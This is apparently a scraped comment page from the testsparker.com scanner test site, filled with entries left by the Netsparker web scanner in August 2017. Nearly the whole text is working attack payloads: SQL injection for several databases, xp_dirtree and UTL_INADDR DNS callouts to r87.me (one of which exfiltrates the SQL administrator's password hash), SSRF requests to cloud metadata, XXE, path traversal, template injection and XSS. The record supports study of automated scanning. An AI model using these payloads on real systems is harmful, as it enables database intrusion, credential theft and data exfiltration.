+ 54.204.37.212/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:03 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ testsparker.com/trace.axd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ http://testsparker.com/trace.axd +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ "> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ https://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ '> +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:59 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:58 AM +

+

+ //r87.com/n/j/?0x003E36 +

+
+

Smith

+

+ 8/23/2017 8:07:57 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ //r87.com/n/n.css?0x003E34 +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:57 AM +

+

+ http://testsparker.com.r87.com/? +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ testsparker.com.r87.com/? +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ 1 ns=netsparker(0x003E2A) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:56 AM +

+

+ +

+
+

%dtd;]>&a;

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ ///r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ '" ns=netsparker(0x003E28) +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

+

+ 8/23/2017 8:07:55 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /\r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ /../../../../../../../../../../boot.ini +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ r87.com/?https://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:53 AM +

+

+ data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAzRTI2KTwvc2NyaXB0Pg== +

+
+

Smith

+

+ 8/23/2017 8:07:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x003E24%29%3C%2FscRipt%3E +

+
+

Smith

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ '"--> +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:51 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuyoz3ygz7o3fb-fbmgahlo9g02qfwt7'||'o9q.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ r87.com/?http://testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:50 AM +

+

+ +

+
+

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupwyriz8l3hafztwi5bxtvogbklimak'||'jsg.r87.me') from DUAL))||'

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:49 AM +

+

+ "+print localtime()*0+0xFFF9999-22+" +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupjxsp5b-tc8mrkphwqyrjbysj9dta6'||'mu4.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ //r87.com/?http://testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuntiadxvpt2vjilow5dxqk_zgklc92l'||'lga.r87.me') from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ '+print localtime()*0+0xFFF9999-22+' +

+
+

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

+

+ 8/23/2017 8:07:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:48 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

Smith

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ eval('print localtime()*0+0xFFF9999-22') +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu6olwxenayn61zuznzvkpieqw2uxuss'||'zqo.r87.me') from DUAL)

+

+ 8/23/2017 8:07:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:47 AM +

+

+ print localtime()*0+0xFFF9999-22 +

+
+

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu5bux1l7536c7txqvw2vvoxrdqbr4ju'||'dau.r87.me') from DUAL)

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxuamtijxrh_ua47ll7e6-nc4qrs7wicc'||'wby.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

'||cast((SELECT dblink_connect('host=o010_rdnxu_0yjiybkjb8gteg5wkotzgoa1zifn1'||'bme.r87.me user=a password=a connect_timeout=2')) as numeric)||'

+

+ 8/23/2017 8:07:46 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxuddfqmvhh1jbp6oafwbchqjv2quvajg'||'yru.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

cast((SELECT dblink_connect('host=o010_rdnxugpapkhq8ssuvqftyjaxfcqkladiscr'||'mia.r87.me user=a password=a connect_timeout=2')) as numeric)

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ http://r87.com/?testsparker.com/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:45 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuzkqd2xzqzomqtyhwubjnsm7qrtw41t'||'hmy.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

dblink_connect('host=o010_rdnxuagjvg0f2rhewf39zzrgsd8gd5a9nzl'||'mxi.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ [php]print(int)0xFFF9999-22;[/php] +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:44 AM +

+

+ +

+
+

SELECT dblink_connect('host=o010_rdnxuvwmotchao5p8ee8yqxr8vb08wancnl'||'zrg.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ '{${print(int)0xFFF9999-22}}' +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:43 AM +

+

+ +

+
+

SELECT dblink_connect('host=o010_rdnxuet4tsuzg8phsdufx201xezqei3nqw4'||'3gg.r87.me user=a password=a connect_timeout=2')

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuoor_h9vzkn-hbagxjoylf8jk8jccgw'+'jfq.r87.me')exec sp_executesql @r--

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

+

+ 8/23/2017 8:07:42 AM +

+

+ +

+
+

1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxuaxtltofwd04m-y_ebcgkrjzqufv9ui'+'u58.r87.me')exec sp_executesql @r--

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

1' OR 1=1 OR '1'='1

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ {php}print(int)0xFFF9999-22;{/php} +

+
+

(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

1' OR 1=1 OR '1'='1

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1 OR X='ss

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1 OR 17-7=10

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:40 AM +

+

+ "+print(int)0xFFF9999-22+" +

+
+

DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxulgxbbhzfz4jijkmgflzscjkuwn1wey'+'frc.r87.me')exec sp_executesql @r

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

'+NSFTW+'

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

1' OR 1=1 OR 'ns'='ns

+

+ 8/23/2017 8:07:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

1 AND 'NS='ss

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ '+print(int)0xFFF9999-22+' +

+
+

NSFTW

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

NS1NO

+

+ 8/23/2017 8:07:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:39 AM +

+

+ +print(int)0xFFF9999-22;// +

+
+

'

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxuegehvyh4tozikzp_sz8bz3rfje4rmt'+'ffc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxu_rlfsyflnno_jfoftswysywvm7oabo'+'efc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1'))exec('xp_dirtree ''\\o010_rdnxujofvccq3wukhi5ijuuezny-tix8gkm'+'4oo.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1 OR 1=1

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:38 AM +

+

+ +

+
+

1 OR 1=1

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

1'))exec('xp_dirtree ''\\o010_rdnxuzqu8zhegczorgqssxr9fnuar6zijoc'+'abu.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ print(int)0xFFF9999-22; +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:36 AM +

+

+ +

+
+

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:35 AM +

+

+ print(int)0xFFF9999-22 +

+
+

1))exec('xp_dirtree ''\\o010_rdnxue-9qm_9lazckav4txcnqrsysxmlcg1'+'2wg.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:35 AM +

+

+ +

+
+

-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

1))exec('xp_dirtree ''\\o010_rdnxuf_h9io7sqlhhe_ufjklwpf7nybmrs5'+'gti.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

1')exec('xp_dirtree ''\\o010_rdnxuttnsrg-w1x36fpbrxjivg8gq-oy-yf'+'ytq.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1')exec('xp_dirtree ''\\o010_rdnxuztaizmkuesygeiwmd0jf2tb-4bosqk'+'bmo.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:33 AM +

+

+ <% response.write(268409241-22) %> +

+
+

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://127.0.0.1:3306

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1) exec('xp_dirtree ''\\o010_rdnxutbxadbiay2qpq7l3uzv0r6rszjb69z'+'ycs.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

http://127.100.11.2:22

+

+ 8/23/2017 8:07:33 AM +

+

+ +

+
+

1) exec('xp_dirtree ''\\o010_rdnxujje-z2c0o6sgdxak6qx4bdw7krpxak'+'miq.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:32 AM +

+

+ "+response.write(268409241-22)+" +

+
+

-1';exec('xp_dirtree ''\\o010_rdnxu_binymicgqs0mr_tqmg0etimkpuqf_'+'mag.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

-1';exec('xp_dirtree ''\\o010_rdnxu5rmjmfgrfi3m7sxux-otfnq-okffbz'+'xsc.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:32 AM +

+

+ +response.write(268409241-22)' +

+
+

1;exec('xp_dirtree ''\\o010_rdnxuenm1cug77lkxyh6u3i_kiigtfmjte9'+'u_0.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:32 AM +

+

+ +

+
+

http://169.254.169.254/latest/meta-data/public-hostname

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

1;exec('xp_dirtree ''\\o010_rdnxu-wapxz4khslionz7htkft8phjf2y_m'+'r2c.r87.me'+'\c$\a''')--

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:31 AM +

+

+ response.write(268409241-22)' +

+
+

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxujddwymlnhrkmm6nr5biw3wlpvsdly7'+'_gw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

exec('xp_dirtree ''\\o010_rdnxuoa5y4ljmunt4lqrt5a_ihxuxo5lfhe'+'2jc.r87.me'+'\c$\a''')

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

http://aws.r87.me/latest/meta-data/public-hostname

+

+ 8/23/2017 8:07:31 AM +

+

+ +

+
+

127.0.0.1/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

exec('xp_dirtree ''\\o010_rdnxupofez4lle7uaifb2pjolpqhlhvakwr'+'au0.r87.me'+'\c$\a''')

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

::1/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

127.100.11.2/elmah

+

+ 8/23/2017 8:07:30 AM +

+

+ +

+
+

54.204.37.212/elmah

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:29 AM +

+

+ http://r87.me/r/?id=o010_rdnxunlqqnb-wh4pfdr6xcbhbs1l7mbdz40kgs +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

%27

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

testsparker.com/elmah

+

+ 8/23/2017 8:07:29 AM +

+

+ +

+
+

http://testsparker.com/elmah

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

127.0.0.1/elmah.axd

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:28 AM +

+

+ //o010_rdnxumzyeg2jmizy9ulgpsrnp3qj7q-92wbphi.r87.me +

+
+

::1/elmah.axd

+

+ 8/23/2017 8:07:28 AM +

+

+ +

+
+

127.100.11.2/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

54.204.37.212/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

testsparker.com/elmah.axd

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://testsparker.com/elmah.axd

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ o010_rdnxu6fs205cii4h6twxrrueb6x78mq9mcvhe0.r87.me +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:26 AM +

+

+ +

+
+

127.0.0.1/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

::1/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

127.100.11.2/trace.axd

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:25 AM +

+

+ +

+
+

54.204.37.212/trace.axd

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

testsparker.com/trace.axd

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:24 AM +

+

+ +

+
+

http://r87.me/r/?id=o010_rdnxul9hklnexxypyeyuaiuqs3ia7je9ravkyo

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://r87.me/r/?id=o010_rdnxurgpam8tzujbtumegwkkdc6fvw267oylwm

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://testsparker.com/trace.axd

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

